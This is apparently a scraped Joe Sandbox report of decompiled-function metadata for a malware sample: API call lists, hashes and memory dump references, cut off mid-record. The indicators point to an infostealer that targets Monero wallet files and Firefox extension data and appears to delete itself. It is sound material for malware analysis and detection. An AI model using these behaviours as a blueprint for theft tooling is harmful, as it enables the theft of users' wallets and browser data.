Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: ac5c9ebb1db4f21ea05ef886d4a89a861e740bac3ac67dc316b03a1bd60925f8
Instruction ID: d7c7d85321c7e0ea8d25860a9f8a43d870a2bae6cbece0b09f7e3c920a4e8a0d
Opcode Fuzzy Hash: ac5c9ebb1db4f21ea05ef886d4a89a861e740bac3ac67dc316b03a1bd60925f8
Instruction Fuzzy Hash: C8616070A5024CEBDB24EFA4CC96FED7775AF65344F408018F90A9F281DBB4AA45CB52

Function 001D7E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 001D7E37
RtlAllocateHeap.NTDLL(00000000), ref: 001D7E3E
RegOpenKeyExA.ADVAPI32(80000002,00E2C5B0,00000000,00020119,?), ref: 001D7E5E
RegQueryValueExA.ADVAPI32(?,00E3DA60,00000000,00000000,000000FF,000000FF), ref: 001D7E7F
RegCloseKey.ADVAPI32(?), ref: 001D7E92

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: ef284aff2d569c0a7ad51919b3e232aba413d52306dbd0c4d037f8b9e751b40b
Instruction ID: 4bc10193eca4f233887b4dac9e5cb9ab0a3ef1d14299b8f3812daaaa613f79e0
Opcode Fuzzy Hash: ef284aff2d569c0a7ad51919b3e232aba413d52306dbd0c4d037f8b9e751b40b
Instruction Fuzzy Hash: DA1151B2A44305EBD704DF94DE49F7FBBB8EB44710F10816AF605A7280D77458108BA1

Function 001D9260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(00E3DEC0,?,?,?,001D140C,?,00E3DEC0,00000000), ref: 001D926C
lstrcpyn.KERNEL32(0040AB88,00E3DEC0,00E3DEC0,?,001D140C,?,00E3DEC0), ref: 001D9290
lstrlen.KERNEL32(?,?,001D140C,?,00E3DEC0), ref: 001D92A7
wsprintfA.USER32 ref: 001D92C7

Strings

%s%s, xrefs: 001D92B5

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: 0636a8665bae7fa4c9d1120187329a0f9c2c522becdce240a420428948bf6b2c
Instruction ID: 17cf87003cb6de997d4fa22f5fbb02821d962f52197602027b91bd7d6d0bf984
Opcode Fuzzy Hash: 0636a8665bae7fa4c9d1120187329a0f9c2c522becdce240a420428948bf6b2c
Instruction Fuzzy Hash: E0010875500208FFCB04DFECC988EAE7BB9EB48350F108158F909AB240C775AA60DB96

Function 001C12A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 001C12B4
RtlAllocateHeap.NTDLL(00000000), ref: 001C12BB
RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 001C12D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 001C12F5
RegCloseKey.ADVAPI32(?), ref: 001C12FF

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: ed30376f409ac10d664352fd2aee6b983602db6b78e3fbba452902a446c9ce0d
Instruction ID: b9860bd818a87fb5ca3d4598247d5803f0042beabe27c9b7ad51fde18877dd64
Opcode Fuzzy Hash: ed30376f409ac10d664352fd2aee6b983602db6b78e3fbba452902a446c9ce0d
Instruction Fuzzy Hash: BC0131BAA40308BBDB00DFE0DD49FAEB7B8EB48701F108169FA05A7280D6709A158F55

Function 001D6630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 001D6663

Part of subcall function 001DA740: lstrcpy.KERNEL32(001E0E17,00000000), ref: 001DA788

Part of subcall function 001DA9B0: lstrlen.KERNEL32(?,00E39130,?,\Monero\wallet.keys,001E0E17), ref: 001DA9C5
Part of subcall function 001DA9B0: lstrcpy.KERNEL32(00000000), ref: 001DAA04
Part of subcall function 001DA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001DAA12

Part of subcall function 001DA8A0: lstrcpy.KERNEL32(?,001E0E17), ref: 001DA905

ShellExecuteEx.SHELL32(0000003C), ref: 001D6726
ExitProcess.KERNEL32 ref: 001D6755

Strings

<, xrefs: 001D66D9

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 3a2dc46ea4de034623795cd3e13fcf3ee75a70a9e310438fd0a6209be461c4af
Instruction ID: 56becbcbe0349c3f8e53dd0b736f0491d0f0dbe23b6be2fc08a24b066e3b2a03
Opcode Fuzzy Hash: 3a2dc46ea4de034623795cd3e13fcf3ee75a70a9e310438fd0a6209be461c4af
Instruction Fuzzy Hash: 05312FB1801218ABDB14EB50DD91FDE7778AF54300F80519AF20977291DF746B48CF5A

Function 001D87C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,001E0E28,00000000,?), ref: 001D882F
RtlAllocateHeap.NTDLL(00000000), ref: 001D8836
wsprintfA.USER32 ref: 001D8850

Part of subcall function 001DA740: lstrcpy.KERNEL32(001E0E17,00000000), ref: 001DA788

Strings

%dx%d, xrefs: 001D8847

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: f4efc26e46c929e1a8958ef21b7f449abe5ebe9b06b835b6bc7899d17fd2a2cc
Instruction ID: c5dc50422a25573887ff784cdb53f0e527ff25777a1ad9843462e4b32f33afa2
Opcode Fuzzy Hash: f4efc26e46c929e1a8958ef21b7f449abe5ebe9b06b835b6bc7899d17fd2a2cc
Instruction Fuzzy Hash: 762112B2A40308AFDB04DF94DD45FAEBBB8FB48711F104119F605B7280C7799911CBA5

Function 001D8D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,001D951E,00000000), ref: 001D8D5B
RtlAllocateHeap.NTDLL(00000000), ref: 001D8D62
wsprintfW.USER32 ref: 001D8D78

Strings

%hs, xrefs: 001D8D6F

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: 6ee118ef627fd8d33aa4a02f19ed9d4cf0bc4348d6b439b433a2ade340de703f
Instruction ID: c13457c5efcbb89115e05de464f4fe3640a04083dfb19cdf490072a8f501d2aa
Opcode Fuzzy Hash: 6ee118ef627fd8d33aa4a02f19ed9d4cf0bc4348d6b439b433a2ade340de703f
Instruction Fuzzy Hash: 70E0E675A50308BBD710EB94DD09E5D77B8EB44701F004164FD0997240DA719E549B56

Function 001CA260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 001DA740: lstrcpy.KERNEL32(001E0E17,00000000), ref: 001DA788

Part of subcall function 001DA9B0: lstrlen.KERNEL32(?,00E39130,?,\Monero\wallet.keys,001E0E17), ref: 001DA9C5
Part of subcall function 001DA9B0: lstrcpy.KERNEL32(00000000), ref: 001DAA04
Part of subcall function 001DA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001DAA12

Part of subcall function 001DA8A0: lstrcpy.KERNEL32(?,001E0E17), ref: 001DA905

Part of subcall function 001D8B60: GetSystemTime.KERNEL32(001E0E1A,00E3A280,001E05AE,?,?,001C13F9,?,0000001A,001E0E1A,00000000,?,00E39130,?,\Monero\wallet.keys,001E0E17), ref: 001D8B86

Part of subcall function 001DA920: lstrcpy.KERNEL32(00000000,?), ref: 001DA972
Part of subcall function 001DA920: lstrcat.KERNEL32(00000000), ref: 001DA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 001CA2E1
lstrlen.KERNEL32(00000000,00000000), ref: 001CA3FF
lstrlen.KERNEL32(00000000), ref: 001CA6BC

Part of subcall function 001DA7A0: lstrcpy.KERNEL32(?,00000000), ref: 001DA7E6

DeleteFileA.KERNEL32(00000000), ref: 001CA743

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 259b1c64a67e407d3d793614e657c8e221c73d3e58bffd371ab127388ed2d1e9
Instruction ID: 186d37cb0c1835077ff7e1d78c9ddefd24c0eed69cdff051900fa2988497e9a9
Opcode Fuzzy Hash: 259b1c64a67e407d3d793614e657c8e221c73d3e58bffd371ab127388ed2d1e9
Instruction Fuzzy Hash: 3CE115728101589BCB05FBA4DDA2EEE733CAF34301F90816AF51772191EF306A49DB66

Function 001CD400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 001DA740: lstrcpy.KERNEL32(001E0E17,00000000), ref: 001DA788

Part of subcall function 001DA9B0: lstrlen.KERNEL32(?,00E39130,?,\Monero\wallet.keys,001E0E17), ref: 001DA9C5
Part of subcall function 001DA9B0: lstrcpy.KERNEL32(00000000), ref: 001DAA04
Part of subcall function 001DA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001DAA12

Part of subcall function 001DA8A0: lstrcpy.KERNEL32(?,001E0E17), ref: 001DA905

Part of subcall function 001D8B60: GetSystemTime.KERNEL32(001E0E1A,00E3A280,001E05AE,?,?,001C13F9,?,0000001A,001E0E1A,00000000,?,00E39130,?,\Monero\wallet.keys,001E0E17), ref: 001D8B86

Part of subcall function 001DA920: lstrcpy.KERNEL32(00000000,?), ref: 001DA972
Part of subcall function 001DA920: lstrcat.KERNEL32(00000000), ref: 001DA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 001CD481
lstrlen.KERNEL32(00000000), ref: 001CD698
lstrlen.KERNEL32(00000000), ref: 001CD6AC
DeleteFileA.KERNEL32(00000000), ref: 001CD72B

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: a4df5021301432186e0dfe2ba00fa3da503c8c88d3d3581b89f616024f0fd2ae
Instruction ID: a0b8a9c972237b710213a3f332199564f1d2eea052f1debd676acfc8f1644d46
Opcode Fuzzy Hash: a4df5021301432186e0dfe2ba00fa3da503c8c88d3d3581b89f616024f0fd2ae
Instruction Fuzzy Hash: 659137728101589BCB04FBA4DD92EEE7338AF34301F90416AF50777291EF746A49DB66

Function 001CD780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 001DA740: lstrcpy.KERNEL32(001E0E17,00000000), ref: 001DA788

Part of subcall function 001DA9B0: lstrlen.KERNEL32(?,00E39130,?,\Monero\wallet.keys,001E0E17), ref: 001DA9C5
Part of subcall function 001DA9B0: lstrcpy.KERNEL32(00000000), ref: 001DAA04
Part of subcall function 001DA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001DAA12

Part of subcall function 001DA8A0: lstrcpy.KERNEL32(?,001E0E17), ref: 001DA905

Part of subcall function 001D8B60: GetSystemTime.KERNEL32(001E0E1A,00E3A280,001E05AE,?,?,001C13F9,?,0000001A,001E0E1A,00000000,?,00E39130,?,\Monero\wallet.keys,001E0E17), ref: 001D8B86

Part of subcall function 001DA920: lstrcpy.KERNEL32(00000000,?), ref: 001DA972
Part of subcall function 001DA920: lstrcat.KERNEL32(00000000), ref: 001DA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 001CD801
lstrlen.KERNEL32(00000000), ref: 001CD99F
lstrlen.KERNEL32(00000000), ref: 001CD9B3
DeleteFileA.KERNEL32(00000000), ref: 001CDA32

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: a4c92ca2db307cc0026c4ab93f3f66598d54f794e4b3421cee963da157002055
Instruction ID: 40a0a76525c05511d1a3d783494369c071f9dc1b4606d06323be6419039e7a8c
Opcode Fuzzy Hash: a4c92ca2db307cc0026c4ab93f3f66598d54f794e4b3421cee963da157002055
Instruction Fuzzy Hash: 7B8126729101549BCB04FBA4DD96EEE7338AF34301F90452AF407B7291EF746A09DBA6

Function 001CF4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 001DA7A0: lstrcpy.KERNEL32(?,00000000), ref: 001DA7E6

Part of subcall function 001C99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 001C99EC
Part of subcall function 001C99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 001C9A11
Part of subcall function 001C99C0: LocalAlloc.KERNEL32(00000040,?), ref: 001C9A31
Part of subcall function 001C99C0: ReadFile.KERNEL32(000000FF,?,00000000,001C148F,00000000), ref: 001C9A5A
Part of subcall function 001C99C0: LocalFree.KERNEL32(001C148F), ref: 001C9A90
Part of subcall function 001C99C0: CloseHandle.KERNEL32(000000FF), ref: 001C9A9A

Part of subcall function 001D8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 001D8E52

Part of subcall function 001DA740: lstrcpy.KERNEL32(001E0E17,00000000), ref: 001DA788

Part of subcall function 001DA9B0: lstrlen.KERNEL32(?,00E39130,?,\Monero\wallet.keys,001E0E17), ref: 001DA9C5
Part of subcall function 001DA9B0: lstrcpy.KERNEL32(00000000), ref: 001DAA04
Part of subcall function 001DA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001DAA12

Part of subcall function 001DA8A0: lstrcpy.KERNEL32(?,001E0E17), ref: 001DA905

Part of subcall function 001DA920: lstrcpy.KERNEL32(00000000,?), ref: 001DA972
Part of subcall function 001DA920: lstrcat.KERNEL32(00000000), ref: 001DA982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,001E1580,001E0D92), ref: 001CF54C
lstrlen.KERNEL32(00000000), ref: 001CF56B

Strings

^userContextId=4294967295, xrefs: 001CF59C
moz-extension+++, xrefs: 001CF5AD

Memory Dump Source

